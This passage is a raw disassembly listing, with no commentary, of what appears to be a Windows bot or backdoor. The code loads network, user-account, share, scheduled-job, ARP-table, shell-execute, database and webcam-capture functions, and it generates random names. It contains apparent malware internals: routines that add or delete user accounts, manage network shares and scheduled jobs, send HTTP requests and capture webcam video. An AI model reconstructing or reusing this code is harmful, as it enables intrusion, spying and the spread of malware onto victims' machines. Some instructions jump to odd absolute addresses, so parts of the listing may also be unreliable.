		jz	short loc_40A2E7
		cmp	dword_4CB650, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB60C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB64C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB6B8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB604, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB5C8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB638, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB6A8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB5DC, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------


loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		call	near ptr 2670E94h
		nop
		mov	dword_4CB708, eax


loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB704, 1


loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB560, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB4E8, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB5EC, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB598, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB5F8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB5BC, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB528, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB520, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB530, eax
		call	esi
		cmp	dword_4CB560, ebx
		mov	ecx, dword_4CB5BC
		mov	dword_4CB658, eax
		jz	short loc_40A3D2
		cmp	dword_4CB4E8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB5EC, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB598, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB5F8, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB528, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB520, ebx
		jz	short loc_40A3D2
		cmp	dword_4CB530, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC


loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB70C, 1


loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB5D4, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------


loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		nop
		call	near ptr 2670E94h
		mov	dword_4CB710, eax
		mov	dword_4CB70C, 1


loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CB5D4, ebx


loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB5AC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB6DC, eax
		call	esi
		cmp	dword_4CB5AC, ebx
		mov	dword_4CB53C, eax
		jz	short loc_40A466
		cmp	dword_4CB6DC, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------


loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		nop
		call	near ptr 2670E94h
		mov	dword_4CB718, eax


loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB714, 1


loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB518, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB4F0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB568, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB59C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB6B4, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB550, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB4FC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB4EC, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB584, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CB67C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB634, eax
		call	esi
		cmp	dword_4CB518, ebx
		mov	dword_4CB558, eax
		jz	short loc_40A582
		cmp	dword_4CB4F0, ebx
		jz	short loc_40A582
		cmp	dword_4CB568, ebx
		jz	short loc_40A582
		cmp	dword_4CB59C, ebx
		jz	short loc_40A582
		cmp	dword_4CB6B4, ebx
		jz	short loc_40A582
		cmp	dword_4CB550, ebx
		jz	short loc_40A582
		cmp	dword_4CB4FC, ebx
		jz	short loc_40A582
		cmp	dword_4CB4EC, ebx
		jz	short loc_40A582
		cmp	dword_4CB584, ebx
		jz	short loc_40A582
		cmp	dword_4CB67C, ebx
		jz	short loc_40A582
		cmp	dword_4CB634, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------


loc_40A577:				; CODE XREF: sub_409B12+969j
		call	near ptr 2670E94h
		nop
		mov	dword_4CB720, eax


loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB71C, 1


loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB540, eax
		call	esi
		cmp	dword_4CB540, ebx
		mov	dword_4CB61C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------


loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		nop
		call	near ptr 2670E94h
		mov	dword_4CB728, eax


loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB724, 1


loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB6A0, eax
		call	esi
		cmp	dword_4CB6A0, ebx
		mov	dword_4CB69C, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------


loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		nop
		call	near ptr 2670E94h
		mov	dword_4CB730, eax


loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB72C, 1


loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB6CC, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB6C4, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB68C, eax
		call	esi
		cmp	dword_4CB6CC, ebx
		mov	dword_4CB55C, eax
		jz	short loc_40A68A
		cmp	dword_4CB6C4, ebx
		jz	short loc_40A68A
		cmp	dword_4CB68C, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------


loc_40A67F:				; CODE XREF: sub_409B12+B19j
		nop
		call	near ptr 2670E94h
		mov	dword_4CB738, eax


loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB734, 1


loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB590, eax
		call	esi
		cmp	dword_4CB590, ebx
		mov	dword_4CB698, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------


loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		nop
		call	near ptr 2670E94h
		mov	dword_4CB740, eax


loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB73C, 1


loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CB660, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB6AC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB5E8, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB5A0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB640, eax
		call	esi
		cmp	dword_4CB660, ebx
		mov	dword_4CB5B0, eax
		jz	short loc_40A772
		cmp	dword_4CB6AC, ebx
		jz	short loc_40A772
		cmp	dword_4CB5E8, ebx
		jz	short loc_40A772
		cmp	dword_4CB5A0, ebx
		jz	short loc_40A772
		cmp	dword_4CB640, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_409B12+BD7j
		nop
		call	near ptr 2670E94h
		mov	dword_4CB748, eax


loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB744, 1


loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB574, eax
		call	esi
		cmp	dword_4CB574, ebx
		mov	dword_4CB654, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------


loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		nop
		call	near ptr 2670E94h
		mov	dword_4CB750, eax


loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB74C, 1


loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB6E4, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB6E8
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB6EC, esi
		jz	short loc_40A84A
		push	dword_4CB6F0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB6F4, esi
		jz	short loc_40A87E
		push	dword_4CB6F8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB6FC, esi
		jz	short loc_40A8B2
		push	dword_4CB700
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB704, esi
		jz	short loc_40A8E6
		push	dword_4CB708
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB70C, esi
		jz	short loc_40A91A
		push	dword_4CB710
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB714, esi
		jz	short loc_40A94E
		push	dword_4CB718
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB71C, esi
		jz	short loc_40A982
		push	dword_4CB720
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB724, esi
		jz	short loc_40A9B6
		push	dword_4CB728
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB72C, esi
		jz	short loc_40A9EA
		push	dword_4CB730
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB734, esi
		jz	short loc_40AA1E
		push	dword_4CB738
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB73C, esi
		jz	short loc_40AA52
		push	dword_4CB740
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB744, esi
		jz	short loc_40AA86
		push	dword_4CB748
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB74C, esi
		jz	short loc_40AABA
		push	dword_4CB750
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D9F4
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB664
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CB6A8
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB540
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB6A0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A


loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DC08
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------


loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42DBE4
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB6A0
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------


loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42DBB4


loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42DB84
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]


loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CB69C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB5C8
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB754
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------


loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42DC50o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 2680CE9h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42DCB8[edx*4]
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D


loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB28
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7


loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		dd 275FC0E8h, 0E8509002h, 10BA8h, 10247C8Bh, 382404C7h
		dd 68004291h, 42CFE0h, 0E8571C6Ah, 10C38h, 0C483F633h
		dd 98353910h, 7E004290h, 0B88E826h, 0A6A0001h, 0F9F75999h
		dd 28685752h, 6A0042BBh, 11E8571Ch, 8300010Ch, 3B4614C4h
		dd 42909835h, 8BDA7C00h, 0C35E5FC7h

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 2680CE9h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3


loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD


loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 2680CE9h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431910
		push	eax
		push	esi
		nop
		call	near ptr 26B0000h
		movsx	eax, byte_431910
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx


